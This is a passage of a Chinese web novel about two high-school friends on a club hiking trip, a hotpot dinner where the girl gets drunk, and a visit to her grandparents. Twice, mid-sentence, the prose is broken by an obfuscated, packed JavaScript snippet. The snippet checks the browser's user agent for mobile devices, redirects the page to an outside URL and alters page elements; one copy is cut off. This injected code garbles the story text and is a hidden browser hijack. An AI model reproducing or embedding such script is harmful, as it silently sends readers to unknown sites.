章楚楚发完牢骚后，宋西宝有点没明白：“放完假回来再考不好吗？要是放假前考试，成绩没出来，感觉玩都玩得不安心。” “笨蛋！”章楚楚轻戳了下她脑门，解释说，“放假前考，好不好，反正都考完了，那就可以安心玩了呀！要是返校回来再考，这放假七天谁敢安心玩？不得复习吗？” 宋西宝：“……” 她就敢安心玩，她才不复习！ 谢飞燕叹气道：“可是楚楚，你成绩已经很好了呀，我要有你这个成绩，我做梦都笑醒了。” 宋西宝跟着嗯嗯嗯地点头，也说：“要是我成绩有你这么好，我妈肯定高兴得天天都在家唱歌！” 章楚楚说：“还好吧，我哥在一中读书，成绩比我好多了，我爸妈总担心我考不上好大学。” 宋西宝：“你都考不上，我更考不上了。” 谢飞燕：“我也是。” 但是不管他们忧愁也好高兴也好，国庆假期还是如约而至了。 放假前夕，徐嘉树给社员发消息，说社团外勤活动的申请校团委已经批准通过了，时间就定在十月三号，上午七点半，所有人先到文星广场集合，然后再一起坐旅游大巴前往城外的紫云峰。 宋西宝本来以为程书逸讨厌徐嘉树，应该不会跟这次活动了，结果没想到十月二号晚上，程书逸突然发消息给她，说明天早上六点五十在楼下等她一起出发去文星广场。 【最近爱吃炸土豆：你要去？】 【阿饼：怎么？我不能去？】 【最近爱吃炸土豆：呃，你不是看那谁不顺眼吗？】 【阿饼：那又怎么了？】 【阿饼：你觉得我需要躲着他？】 【最近爱吃炸土豆：我可没那么说。】 【最近爱吃炸土豆：你明天不会跟人打起来吧？】 【阿饼：……你以为我是你啊？】 【阿饼：睡觉！不准看小说了！明早不许迟到！】 【最近爱吃炸土豆：哦。】 但是这晚宋西宝还是熬夜看小说了。 都怪楚楚，大晚上的突然在扣扣上疯狂敲她，一定要让她去看一本小说，还保证说绝对好看！绝对是她喜欢的口味！ 宋西宝没忍住诱惑去搜了她说的那本小说，果然只看简介就被吸引了！ 她顿时把程书逸交代她的话忘到了九霄云外，直接一口气又看了个通宵，然后第二天早上成功地迟到了十分钟。 “我错了我错了我错了……”宋西宝一边跑一边喊，冲到程书逸面前的时候气喘吁吁，感觉脑袋晕乎乎的，眼前还有点发黑。 程书逸偏过头去，冷声嘀咕道：“就知道你会迟到。” 宋西宝心虚，也不敢辩解，还狗腿地问他吃过早饭没？要不要自己去给他买梅三嬢家的豆沙包？ 两人边说边往外走，程书逸看眼手表，取下书包打开，拿出一个小饭盒递给她道：“都这个点了，来不及去买豆沙包了，我在家吃过了，你吃这个吧。” 宋西宝接过饭盒，发现里面装的是鸡蛋火腿三明治，三明治按她的习惯没有放生菜和沙拉酱，放的是番茄酱。 宋西宝不客气地打开饭盒盖塞了一块三明治进嘴里，边吃边想着，就冲程书逸这份三明治，他今天怎么找茬她都原谅他！ 程书逸：“我们坐公交过去文星广场要二十五分钟，应该还来得及，当然前提是我们不会等太久的公交。” 宋西宝嘴里塞着三明治，含糊道：“不为迟到的。” 程书逸斜她一眼：“吃东西的时候不要说话。” 宋西宝：“哦。” 他们到广场的时候正好七点半，时间刚刚好。 宋西宝老远看见吴静初，撞了下程书逸，问：“这次又你俩搭档啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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紫云峰距离市区差不多七十公里左右，山不高，山势也还算平缓，通常来说，徒步到山顶紫云亭差不多需要两到三个小时左右，时间计划得好的话是可以当天来回的。 宋西宝挺喜欢爬山的，小时候她就经常跟爷爷一起去山上玩，这些年爸妈做生意忙，虽然不能每个周末都带她出去玩，但云市周遭大大小小的山她还是爬了好些了，就好比这紫云峰，她光跟爸妈一起就爬过三四次，更不要说跟朋友一起了。 “诶程书逸——”宋西宝身子往前透过车身和座椅间的缝隙用手戳了戳他。 程书逸扭头也往那缝隙那儿凑，问：“怎么了？” 宋西宝问他：“你以前有没有来过紫云峰？” 程书逸嗯了声，说：“小时候我爸常带我来。” 宋西宝又问：“那你知道紫云亭上面那个许愿台吗？” 程书逸问：“许愿台？” “就是亭子出去往右走那段路，两边有铁索，可以挂小铜锁，许愿用的。”宋西宝说。 程书逸摇头：“我好多年没去过了，以前去的时候好像没看见有许愿台。” 宋西宝就笑，程书逸问她笑什么？ 宋西宝凑近道：“之前有一回季苒过生日，我们陪她去紫云峰挂铜锁，我们一起挂了一把锁，还把你的名字也刻了上去，不知道还能不能找到。” 程书逸诧异：“我的名字也刻上去了？” “当然！我们六个人可是一个组合，你忘啦？”宋西宝不满地伸手过去揪了他一下。 程书逸低声笑了两声，忙道：“没忘没忘，梧桐帮嘛，你是老大。” 宋西宝轻哼一声，又说：“待会儿上去了我们一起去找找，如果能找到，我们拍张照片发群里给他们看，怎么样？” 程书逸：“好，听你的。” 宋西宝靠回座位，吴静初扭头看她一眼，笑笑说：“你们感情可真好。” 宋西宝说：“那你是没看见我俩吵架的时候。” 吴静初疑惑问：“你俩还会吵架？” “当然！”宋西宝瞟一眼程书逸的后脑勺，捂着嘴小声同她说，“我们经常吵架，他看我不顺眼的地方可多了，你难道没觉得他这人脾气古怪，特别不好打交道吗？” 吴静初先是低头抿着唇笑，然后摇摇头话里有话道：“没觉得，程书逸平时跟我们相处话挺少的，特别有礼貌，我觉得他……比较有距离感。” 34. 吃喝 下车后，徐嘉树提议所有人一起在紫云峰山门前拍张合照，大家纷纷说好。 宋西宝本来以为就是用手机随便拍一拍，结果他们站好后徐嘉树直接从书包里掏出了相机。 程书逸和吴静初本来想退出去不影响他们，但徐嘉树十分热情地说不碍事，招呼他俩也一起来拍。 程书逸当时的表情简直就跟吃了屎一样难看，宋西宝是真怕他当众甩脸，于是立刻上前将他一把拉到了自己身边站着，然后命令他假笑—— “你就假装笑一下，不要黑着个脸啦！”宋西宝扭头向他示意应该怎么笑？ 程书逸一个白眼翻上天，直接抬手按着她脑袋转了回去：“看镜头，别看我。” 合照拍完，他们就开始往山上爬，预计的攀登时间是三个小时，不算特别赶，但队伍里还是有很多同学表示吃不消，爬着爬着就得停下来歇歇。 宋西宝体力好，一直走在最前头，她还帮曾跃背了包，一路都在给大家加油打气。 “不行了不行了，社长，休息一下吧，我心跳得太快了。”一个胖胖的男生边说边一屁股坐在了旁边的一块大石头上。 徐嘉树看眼时间，说：“行，那我们原地休整五分钟。” 队伍休整的时候，宋西宝就拿着树枝无聊地在地上乱画，她从小爱看漫画，小时候也试着画过不少简笔漫画，她扣扣的头像都是自己画的。 徐嘉树来到她面前，看了眼她画的，点头夸赞道：“不错啊，你喜欢画漫画？” 宋西宝不好意思地笑了下，说：“我瞎画着玩的。” 徐嘉树没说什么，从她手里接过树枝往她画的漫画人头上添了几笔，宋西宝眼睛一亮，情不自禁道：“学长你好厉害！一下就不一样了！” 徐嘉树把树枝还给她，说：“你要是喜欢画，可以多画，我家里有一些漫画创作相关的书，回头我拿给你。” 宋西宝挠挠头，说：“谢谢学长，不过我就是自己画着玩的，没想深入钻研。” 徐嘉树瞧她那表情，一下笑了，说：“我不给你布置作业，我只是觉得那些书对你应该会有帮助，我先拿给你，你要用得上就用，用不上就算了，没关系的。” 宋西宝：“谢谢学长！” 徐嘉树：“不客气。” 程书逸站在队伍的最后面，他看到宋西宝跟徐嘉树又在那儿说说笑笑，气得脑仁都开始疼了。 同样不高兴的，还有副社长刘敏。 队伍重新出发以后，刘敏追上徐嘉树问了他一句话，她问徐嘉树是不是看上宋西宝了？ 对于她的问题，徐嘉树好像并不是很惊讶，他看都没看刘敏一眼，只是冷声说了一句：“总是问这些无聊的问题你不烦吗？” 而刘敏被他这么一呵斥，脸立刻就有点涨红，积攒的勇气迅速流失殆尽，她低下头声若蚊蚋地说了声对不起，徐嘉树这才扭头看了她一眼，然后展开一个笑脸说：“你别想太多了阿敏。” 他们九点半开始爬山，一路走走停停，等到山顶紫云亭已经快下午两点了。 有同学忍不住抱怨道：“早知道能请假不来我就请假不来了，累死了。” 刘敏看大家热情不是很高，便同徐嘉树商量了一下先让大家好好休息半个小时，等大家吃饱喝足缓过劲了再开始诗会的流程。 徐嘉树同意了。 趁着休息的功夫，宋西宝本想带程书逸去不远处的许愿台找一找他们当初挂的那把铜锁还在不在，结果走近一看发现通往许愿台的那段路被封了，旁边还立了个“修路中，闲杂人等禁止进入”的牌子。 “下次我们再来。”程书逸安慰她。 宋西宝点点头嗯了一声。 今天天气并不好，阴沉沉的，他们上山这一路也没碰见几个爬山的人，山顶更是只有他们没有别人。 刘敏打开书包拿出自带的毯子铺在地上，招呼大家过来席地坐下休息休息。 十几号人闹哄哄地涌入亭中人挤人坐下，先前爬山爬得要死不活的那位胖胖的男同学这会儿突然来了精神，带头将自己书包中的零食一股脑地倒了出来，吆喝大家一起吃。 有他带头，同学们纷纷将自己书包中的零食贡献了出来，宋西宝悄悄吐舌——早上走得太急，她忘记买零食了。 幸好旁边的小卖部还开着，她趁着大伙聊天的功夫悄悄溜出亭子，正准备去小卖部看看有啥卖的，结果程书逸追上来，取下自己的书包递给了她—— “拿去。”程书逸把包递给她。 宋西宝糊里糊涂接过书包，还以为他是懒得背包想让自己帮他背，正准备背上，结果程书逸啧的一声，说：“你是不是傻？” 宋西宝：“啊？” 程书逸脸臭着，很不耐烦的样子说：“包里面有零食。” 宋西宝恍然大悟哦了一声，嘴角向两边咧开，忙抱着书包狗腿地往他身边咕涌了两下，一脸讨好道：“程书逸，你人真好！” 程书逸一声冷笑，说：“比不上你的学长好。” “噗嗤——”宋西宝没忍住笑出了声，怕亭子里的人听见，忙又捂住嘴说：“程书逸，你好小气啊！” “谁小气？”程书逸一脸不敢置信，当即就要动手抢回书包，“说我小气，那你把书包还我。” “不还！”宋西宝一把将书包挪去身侧躲开他，又笑嘻嘻地哄他道，“你最大方最好啦！放心，我跟学长那就是普通交情，哪比得上咱俩的革命友谊啊？” 宋西宝说着，下意识瞧了眼他眉心靠右的位置——那里有一个半个小指指甲盖大小的伤疤，平时正常社交距离看不明显，必须凑近了才能看见。 宋西宝记得她小时候看这块疤颜色还挺深的，但年深日久，现在再看，疤痕的颜色已经很淡了。 宋西宝问：“这块疤还在啊？” 程书逸抬手摸了摸自己眉心，嗯了声，然后故意道：“你干的好事！” 宋西宝看着他没反驳。 她突然不争不辩，程书逸倒有些紧张了。 他蓦地往后退了一步拉开两人距离，然后说：“你快过去吧你。” 宋西宝耸耸肩，又同他说了声谢谢，这才抱着书包回了亭子。 吃饱喝足后，诗会就正式开始了。 大家拿出各自准备好的诗集，刘敏正准备领诵一首，结果徐嘉树突然从包里掏出横幅，指挥几个男同学先将横幅拉起来，然后他又端起相机让同学们配合着拍了好些照片。 程书逸全程冷眼旁观，越发觉得此人是个虚有其表之徒。 宋西宝带的诗集是她从爸妈的小书柜里偷摸拿的，书名就叫《精选诗集》，出版年份上世纪八十年代，是一本旧书。 她准备读舒婷的《致橡树》。 这首诗她很熟悉，能直接默诵，但这并不是因为她有多么热爱诗歌，而是从小她妈谭淑媛女士在她耳边念过太多次这首诗了。 别人家小孩哄睡家长给唱的是摇篮曲，而她们家谭女士是靠念诗来哄她入睡的，文艺得可怕。 诗会结束后，他们准备下山时已经有些晚了，但还好赶上了回市区的末班车。 回程路上，大家都累了，一车人歪七倒八地都在睡觉，车进市区后，徐嘉树拍手把大家伙叫醒了，嘱咐大家待会儿到家之后一定要给他发个消息报个平安，同学们纷纷应声。 又有人说：“社长，我们第一次集体活动，要不下车后一起聚个餐吧？” 立马就有人拍手附和说好，但也有同学抱怨说都这么累了还要聚餐，回家时间太晚家里父母恐怕要说。 商量过后，徐嘉树提议，愿意聚餐的同学，下车后集合一起去聚餐，想要直接回家的同学可以选择直接回家，到家后第一时间给他报平安。 “喂，你要去聚餐吗？”程书逸扭头问后座的宋西宝。 宋西宝睡眼惺忪，伸了个懒腰，说：“不去了吧，我昨天晚上没睡好，今天晚上得早点睡，我爷爷前两天给我打电话问我放假回不回去，我跟他说了四号上午回。” 四号，那就是明天咯。 程书逸乐得她不去：“行，那待会儿下车我们就直接回家。” “嗯。”宋西宝点点头。 但下车后，徐嘉树却非要挽留程书逸和吴静初俩人跟他们一起去吃个饭。 吴静初不好拒绝，就答应了，程书逸想着他俩是搭档，也不好临到头丢下她一个人去应酬，便只好也答应了。 宋西宝本来就是担心他会不高兴才说不去聚餐的，现在听说他要去，立马就变卦说自己也要去。 程书逸也不好再说什么，便让她先去给叔叔阿姨打个电话报备一下，免得回家晚了大人着急。 宋西宝问他不用打电话吗？ 程书逸摇头，说：“我妈今天下午出差走了，可能要下个 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虽然徐嘉树说他请客，但大家也不敢真就放开手脚随便点。 他们点完单后，徐嘉树一看菜单，皱眉道：“你们点的菜太少了，肯定不够吃，再点一些吧，不用替我省钱。” 大家接过菜单，你看看我我看看你，都不敢下手点，最后宋西宝看不过去了，拿过菜单唰唰又勾了一些菜品，然后将菜单直接递给了服务员道：“姐姐，就先这些吧，待会儿我们吃完了不够再点。” 服务员：“好嘞！” 三分钟后，火锅端了上来，菜品也陆陆续续都上齐了。 徐嘉树问他们喝什么？ 大家都说喝免费的茶水就好，最后徐嘉树直接自己做主给他们每个人都拿了一罐可乐。 他们吃着火锅聊着天，中途火锅店的服务员端着一壶梅酒进来，说店里正在搞活动，所有包厢消费的客人都免费送一壶梅酒。 徐嘉树本来想拒绝不要，但宋西宝跃跃欲试，说她想尝尝。 徐嘉树看了下梅酒的度数不高，旁边服务员也说这果酒可以当饮料喝，他便把酒接过来递给了她。 这壶梅酒还挺大一壶的，程书逸提醒她：“待会儿你要是喝醉了我可不管你。” 宋西宝：“哎呀不会的。” 吴静初端着杯子过来，说：“西宝，给我也倒一杯吧。” 宋西宝给她倒完，又给另外几个同学也各倒了一点，大家尝过之后都说不好喝，喝不惯，只有宋西宝一个人觉得这果酒味道不错，于是这壶酒最后几乎是被她一个人喝完的。 程书逸看她一杯接一杯的真当饮料喝，有点担心，但他看了瓶身度数，确实不高，还没啤酒高，想着一瓶果酒也不至于就把她喝醉了，于是便任由她去了。 不出意外的话就出意外了—— 宋西宝喝醉了。 他们从火锅店出来时，宋西宝眼神已经有点迷离了，程书逸婉拒了徐嘉树想送他们回家的请求，只让吴静初扶着她，然后自己去路边叫了辆出租车。 回家路上，宋西宝难受得直哼哼，程书逸问她怎么了？哪里难受？她就弓着身子捂着肚子一会儿说胃难受一会儿又说肚子难受。 程书逸本想打开车窗让她吹点冷风醒醒酒，结果窗刚打开，宋西宝被冷风一吹，胃里一阵翻涌，当即捂着嘴巴就想吐，吓得程书逸又忙把窗户给关上了。 特殊时刻，程书逸也顾不得那么许多了，他将宋西宝搂过来，小心翼翼地让她靠在自己身上休息。 宋西宝已经晕得不行了，坐在车上就像是在坐旋转木马一样，根本意识不到发生了什么。 程书逸全身僵硬了一路。 车开到小区后，程书逸让司机叔叔帮忙把宋西宝背了起来，他怕她喝多了颠着难受，走路都小心翼翼的。 宋家在七楼，程书逸咬牙将她背了上去，但中途宋西宝还是没忍住吐了。 漆黑的楼梯间只有淡淡的月光为他们照明，程书逸一动不动地背着她站在楼梯上，等着她吐完。 “程书逸……” “嗯？” “好难受啊……” “让你喝这么多酒。” “好难受啊……” “马上到家了，乖啊。” 35. 秘密花园 宋西宝吐完人终于舒服了些，她嚷嚷着要回家，程书逸怕她乱动摔下去，一边安抚她，一边强撑着爬完了最后几层楼梯，敲门。 屋里，谭淑媛还以为是闺女忘了带钥匙，她一边嘟囔着“丢三落四”一边去开门，结果门一开，瞧见两人一身狼狈那样，当即吓得花容失色叫了出来—— “天呐，宋西宝！这这这，这怎么吐成这样啊！老宋！老宋你快来——”谭淑媛一边喊着丈夫，一边手忙脚乱地给程书逸让路，“小逸你把她放沙发上先，诶对，正着放。” “咋了咋了！”宋卫国急匆匆提着裤子从厕所出来，一看沙发上醉得不省人事的闺女，也傻眼了，“啥情况这是？她她喝醉了？” 程书逸累得够呛，放下宋西宝后两手撑着大腿弯腰喘气，缓了好一会儿才直起身来。 谭淑媛让他别急，又赶紧去倒了两杯水，一杯递给他，一杯扶着宋西宝慢慢喝下。 “宋叔、谭姨，对不起，我没把西宝看好，晚上聚餐她……她多喝了两杯那个果酒，然后就这样了。”程书逸说，都没敢看他们。 谭淑媛哎哟一声，本来想捶宋西宝，手都举起来了，但是看她一脸潮红哼哼唧唧难受那样，又忍下了。 谭淑媛说：“没事小逸，不怪你，她那个脾气我知道，肯定是她自己闹着要喝，你哪儿管得了她，不怪你！怪她自己！” “就是！怪她自己！”宋卫国跟着说，“太辛苦你了，一路把她背上来，下次你直接给叔叔打电话，我下去背——” “还下次！”谭淑媛扭头怒目圆睁打断他。 宋卫国嘴巴一抿，当即改口道：“再敢有下次我肯定好好收拾她！个倒霉孩子！” 程书逸怕宋西宝醒了挨骂，特地帮她多解释了两句：“宋叔，西宝她也不知道那个果酒喝多了会这么醉人，那个酒我看了，度数还没啤酒高，而且当时那个服务员也说可以当饮料喝，所以就……” “有些果酒看着度数不高，喝起来那就是容易醉，后劲还不小。”谭淑媛叹了口气，又说了几句埋怨服务员埋怨社团聚餐的话。 宋卫国提醒她：“淑媛，你先去给小逸找件干净衣服换上，这个宋西宝，把人家衣服吐成这样，她自己衣服倒半点没沾，真是太不像话了！” 谭淑媛忙起身道：“对对，赶紧，小逸，你把脏衣服脱下来给阿姨，等阿姨洗好了再还给你。” 程书逸说：“没事谭姨，我回头自己洗就行了，只是那个西宝在四楼楼梯那儿吐了，可能得去收拾一下。” 宋卫国忙道：“我去我去！”又催他，“小逸你先把脏衣服脱了，让你阿姨给你找件干净衣服穿，听话！” 程书逸没能拗得过两位长辈，只好把脏衣服先脱了下来。 第二天一早，宋西宝是被自己的手机闹铃给吵醒的。 她闭着眼睛在枕头底下摸了半天也没摸到手机，夺命闹钟吵得她一气之下索性睁眼坐了起来，然后脑袋一偏，发现手机在床头柜上。 她拿起手机关掉“六点五十”的闹钟，心里还有点纳闷——放假的头天晚上她就把所有闹钟都给关了，怎么今天闹钟又响了？而且她记得自己并没有设过六点五十的闹钟啊！ 宋西宝手撑着脑袋半天想不明白，她听着屋外叮叮咚咚的动静和说话声，反应了好一会儿才意识到老妈今天居然没去店里而是留在了家里！ 她虽然不太记得昨晚具体发生了什么，但她记得自己好像是喝醉了…… OMG！救命救命！又要挨批了！ 一阵清脆的来电铃声突然响起，宋西宝翻开手机盖一看—— 程书逸。 他打电话干嘛？ 宋西宝接起电话，小声喂了一声。 程书逸在电话那头问：“醒了？” 一道电流突然从宋西宝脑海里窜过，她恍然大悟，捂着手机问：“是你给我定的闹钟！” 程书逸嗯了声承认了，说：“你昨天不是问我要不要跟你回老家去玩吗？我同意了，咱俩什么时候出发？” “啊？” 他话题转得太快，宋西宝还有点没反应过来。 程书逸在电话那头说：“我猜你妈妈今天应该在家吧？你要是不想挨说，就赶紧起床收拾东西，我现在过来找你，三十六计，咱们走为上计，懂不懂？” 宋西宝：“！！！” 宋西宝：“懂懂懂，哥你真是料事如神啊！” 程书逸：“一般一般。” 程书逸来得很快，听见敲门声后，宋西宝火速起床换好了衣服，然后又另外收拾了几件衣服装进包里。 她听见程书逸跟老妈的说话声，然后老妈的脚步声就由远及近地传了过来—— 谭淑媛正准备推门，结果门先从里面开了—— 宋西宝一脸精神地冲着她笑，谭淑媛手还愣在半空，有点没反应过来：“你醒了啊？” “嗯，醒了。”宋西宝偏头同客厅里的程书逸对上了眼神。 谭淑媛收回手，说：“小逸来了，他说你要带他回你爷爷家去玩？” “对！我们都约好了！”宋西宝说。 谭淑媛瞧瞧两人，总感觉哪里不对劲：“你头还疼不疼了？” 宋西宝摇头道：“不疼了妈妈！” 谭淑媛没好气地看着她，说：“以后你再敢喝得醉醺醺的回来，我就让你爸把你扔出去！” 宋西宝：“哦……” “过来把醒酒汤喝了再走。”谭淑媛说，又问程书逸，“小逸还没吃饭吧？阿姨做好了，过来先把饭吃了再走。” 程书逸：“谢谢谭姨。” 谭淑媛：“不谢不谢。倒是阿姨要谢谢你，背着这么个醉鬼回家，还被她吐了一身。” 宋西宝一脸茫然——她吐了程书逸一身？ 谭淑媛扭头看她表情，气笑了：“你个小没良心的，人家背你上楼，你吐了人家一身，你说说你！” 谭淑媛隔空用手重重指了她两下。 宋西宝心虚地抬头去看程书逸，发现他笑着，好像并不生气的样子。 吃过饭，两人背上书包准备走，谭淑媛再三交代了安全事项才放他们走。 两人刚下楼，又接到老妈电话，谭淑媛在电话里说：“你们前脚走，后脚你爷爷就打电话来问了，问你出门没有，我跟他说了，小逸跟你一起回去，你爷爷说他在车站接你们，你到时候记着点，别跟你爷爷走过了，他又没有手机。” 宋西宝说：“知道啦妈妈。” 谭淑媛：“到了打个电话回来哦！” 宋西宝：“好！” 往小区外面走的路上，宋西宝暗中偷看程书逸表情，同他搭话道：“晓琴阿姨出差了，你又走了，那饼干怎么办啊？” 程书逸说：“猫饭我都提前做好了放在冰箱里，彤姐说她定时上门去喂，我把钥匙给她了。” 宋西宝：“哦……” 程书逸扭头看她：“你到底想说什么呀？” 宋西宝：“我想说……那个，不好意思啊昨晚吐了你一身，我真不是故意的！我发誓！” 宋西宝换位思考了一下，如果被吐一身的是她，她肯定会很生气还会觉得很烦。 “你要是故意的我早给你扔楼下去了。”程书逸凉凉道。 宋西宝咧嘴一笑，看他好像真的没生气，顿时心里轻松了不少：“程书逸，以后要是你喝醉了，我肯定也背你回家！” 程书逸斜睨她一眼，笑：“你个小身板，你背得动我？” 宋西宝一听，当即举起胳膊要给他秀自己的肱二头肌，结果被程书逸打断了：“别秀你那小肌肉了，车来了。” 两人小跑几步挤上了公交车。 这趟车的终点站就是汽车站，因此车上人格外的多，还大多是提着大包小包行李的人。 到了汽车站，宋西宝买了最近一班八点五十五回新阳的车。 汽车一路往东出城。 路上，程书逸问起宋西宝的爷爷奶奶，西宝同他讲了爷爷奶奶的名字，然后说了他们是做什么的，她还特意提到她爷爷脾气不好，发火的时候很吓人，程书逸听完，差点想让司机停车让他下去。 宋西宝见他害怕那样，乐得不行。 一个半小时后，大巴车抵达新阳县汽车站。 新阳因为有个旅游景点——庆云峰，一到节假日涌入县城的人就格外的多。 好在他俩也没什么大件的行李，就一人背了个书包。 出站的时候，程书逸先挤出来，宋西宝被旁边大妈踩了一脚，疼得她龇牙咧嘴的，那大妈还吼她，气得她当即便回敬了那大妈一脚，然后拼命挤出了站，拉起程书逸就跑。 “爷爷！”出站后，宋西宝一眼瞧见了爷爷，忙跳起来挥手，并大声喊了起来。 宋定邦正跟旁边骑电三轮的小伙摆闲条，他耳朵背，压根没听见有人叫他，还是经小伙提醒，才回头看了一眼，然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030512|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后笑呵呵地也抬起手挥了挥。 “爷爷！”宋西宝飞扑到宋定邦怀里，老头儿年纪大了，腿脚不好，腰也直不太起来了，爷孙俩站在一起，宋西宝还要比他高出一点来。 “乖孙孙，你爸爸妈妈好不好？”宋定邦轻拍着她后腰问。 “好，都好！”宋西宝说，又拉过程书逸给爷爷介绍，“爷爷，这是我好朋友程书逸，就是晓琴阿姨的儿子，你还记得吗？” 宋定邦笑眯眯道：“记得记得，好孩子，小程，过来路上坐车累不累啊？” 程书逸本来还有点紧张，但宋爷爷实在比他想象中和蔼可亲得多，他心里那点紧张一下就没了，乖巧回话道：“不累爷爷，过来还挺快的。” “好好，走！爷爷带你们回家吃饭去！你奶奶在家做了一大桌好吃的，就等你们回来了！”宋定邦说。 他们三个人，一辆三轮车坐不下，宋爷爷便让他们两个小的坐一辆车，然后自己单独坐了一辆。 新阳县这些年变化很大，老广场重新翻修了，还新建了一家电影院和商场，听说还把以前的两个旧中学合并成了一个新中学，名字就叫新阳中学，新校址选在县城边上经开区的隔壁。 回村路上，宋西宝一边给程书逸介绍县城各处，一边感慨着老家这些年的变化。 三轮车经过县一小的时候，宋西宝激动大喊道：“那是我小时候读的小学！县一小！校门口卖土豆片的那个嬢嬢居然都还在！” 程书逸随着她夸张的表情笑起来。 宋西宝兴冲冲道：“下午咱们到城里来玩吧！我带你去吃好吃的！一小旁边还有家卖串串的也好吃，广场那边还有家卖炸里脊肉的，超级无敌好吃！而且都不贵！” 程书逸没有扫兴，点头说了声好。 隋玉棠早早就把午饭备上了，宋定邦出门后她就站在门上望，跟老邻居聊天，喜笑颜开地说乖孙女今天要回来。 车下了坡，宋西宝远远瞧见奶奶在门口望，就指给程书逸看道：“看见那边那座房子没？那就是我家，门口那个小黑点，估计就是我奶奶，哈哈哈，她肯定也看见我们了。” 程书逸安静看着，忽然说：“你跟你爷爷奶奶关系真好。” 宋西宝诧异地扭头看了他一眼，问：“你跟你爷爷奶奶的关系不好吗？” 程书逸摇头。 宋西宝一下回想起几年前在程叔叔的葬礼上，程书逸同他爷爷对话的场景，当时她就觉得爷孙俩之间气氛怪怪的，原来是他们本就关系不好的原因…… “奶奶！”宋西宝下了车一路小跑，爷爷和程书逸都被她甩在了身后。 “诶！我孙孙回来啦！”隋玉棠眉开眼笑地拍着手起身。 宋西宝走近一瞧邻居奶奶也在，忙又喊了一声：“李奶奶好！” “好好！好孩子，你奶奶想你得很，坐这儿望你半天了。”李奶奶笑道。 三人说话间，程书逸跟上来了，李奶奶瞧他面生，诧异道：“这孩子是？” “这是我同学，程书逸。”宋西宝转向隋玉棠，“就是晓琴阿姨的儿子，奶奶你记得吧？” “记得记得，你妈妈电话里说了，叫小逸是不是？”隋玉棠边说，边招手将程书逸唤到自己身边来，又问他，“你爸爸妈妈都还好吧？” 宋西宝一听，大惊失色，程书逸却冲她微微摇头示意不要紧，然后乖巧地回奶奶话道：“他们都好，谢谢奶奶。” 隋玉棠一边点着头一边感慨道：“好就好，晓琴那孩子我都多少年没见着她了，现在孩子都这么大了，我老了呀……” 几人说着话进了家门，程书逸一进门就看到院中心的柚子树上挂着一个秋千，秋千的木板瞧着都很旧了，但绳子却是新的，应该是定期有人更换。 他再往里走，又看见院墙角处堆着一堆小孩的玩具，什么滚铁环、木牛儿，还有一匹旧旧的小木马。 这些玩具他没玩过，但小时候在乡下奶奶家住的时候，他看别的孩子玩过，因此一看便知。 程书逸心间涌起一阵感慨——她虽然离开这个家多年，但这个家却似乎还停留在她的童年时代。 借着这些旧物件，他都能脑补出宋西宝小时候是如何在这个小院儿里闹腾玩耍的。 一种奇妙难言的感觉。 程书逸心中忽然有点不自在，这种不自在又伴随着一种他难以描述的古怪的亲密感。 他忍不住想，她也邀请过别人来这里玩吗？ 36. 该小程了 吃过午饭，宋西宝带程书逸去逛了县城、吃了她心心念念的串串和里脊肉，两个人撑得肚皮溜圆才回家，刚到家就又被奶奶投喂了半盘点心还有自家做的甘蔗水。 等到正式吃晚饭的时候，程书逸感觉食物已经顶到喉咙口了。 实在是吃不下，宋爷爷开玩笑说让他围着房子去跑两圈，程书逸一听，还真就跑圈去了。 他跑了几圈回来，稍微消化点了，一进院，听见厨房里宋西宝和爷爷奶奶也不知道说什么呢三个人在那儿笑得直哈哈。 天已经黑了，小院儿里没亮灯，就厨房里暖莹莹的亮着光，房顶上有炊烟升起，暗沉沉地瞧不大清，他心情忽然奇好无比，差点想效仿饼干往地上一躺露出肚皮就地打滚。 宋西宝刚跨出厨房门便瞧见他站在院子里一动不动地发呆，她给他招手，唤他过去，程书逸听话地走过去，刚要张嘴就被投喂了一块酥糖。 “奶奶刚做好的，还热着呢，我悄悄偷了一块出来。”宋西宝瞧着他笑。 程书逸用手指捏住糖块，咬下一口，皱眉道：“软的。” 宋西宝说：“是呀，要等放凉了才是脆的。” 软的酥糖格外粘牙，程书逸无奈道：“你又整我。” 宋西宝噗嗤笑了声，说：“就你最好骗。” 晚饭有新鲜蒸出来的蟹，这个季节，正是吃蟹的时候。 宋西宝喜欢吃蟹，但又没那个耐心慢慢扒壳取肉，所以她吃蟹的方式显得非常生猛，全靠一口好牙硬咬，有时候能不能嗦出肉来全靠天意。 程书逸看她吃蟹那架势就想起老家的一个叔叔，两人那动作、神情真可谓是一模一样。 他看不下去，便动手给她扒好了一只，满登登地堆在蟹壳里递给她。 宋西宝对于程书逸提供的这种细节上的服务已经享受惯了，也不客气，端起来就吃，还嘿嘿傻笑，说：“不劳而获就是爽！” 一旁的爷爷奶奶将这一幕尽收眼底，奶奶眯着眼笑而不语，爷爷清清嗓门，说：“小程啊，爷爷自己酿了点酒，你陪爷爷喝两杯怎么样？” 奶奶说：“人家还是个孩子呢！” 爷爷说：“都大小伙子了，我在他这个年纪都开始端海碗喝酒了，少喝点没事。” 程书逸喝酒的经验不多，仅有的几次是陪老爸去户外做野调的时候，夜里为了驱寒喝过一点酒。 他今天心情好，听宋定邦这么一说，便跃跃欲试道：“行，那我陪爷爷喝两杯。” 宋西宝以为爷爷说的自酿酒是指之前给她喝过的那种米酒，结果爷爷拿来的是一瓶颜色泛橙红的果酒。 宋西宝一听“果酒”两个字就条件反射地喊了声“不行”，程书逸却已经把酒杯递了过去，还冲她开玩笑说：“你早上说过的话别忘了啊，我要喝醉了你背我回去。” 宋西宝：“……” 她怎么感觉他还没喝就有点醉了？ 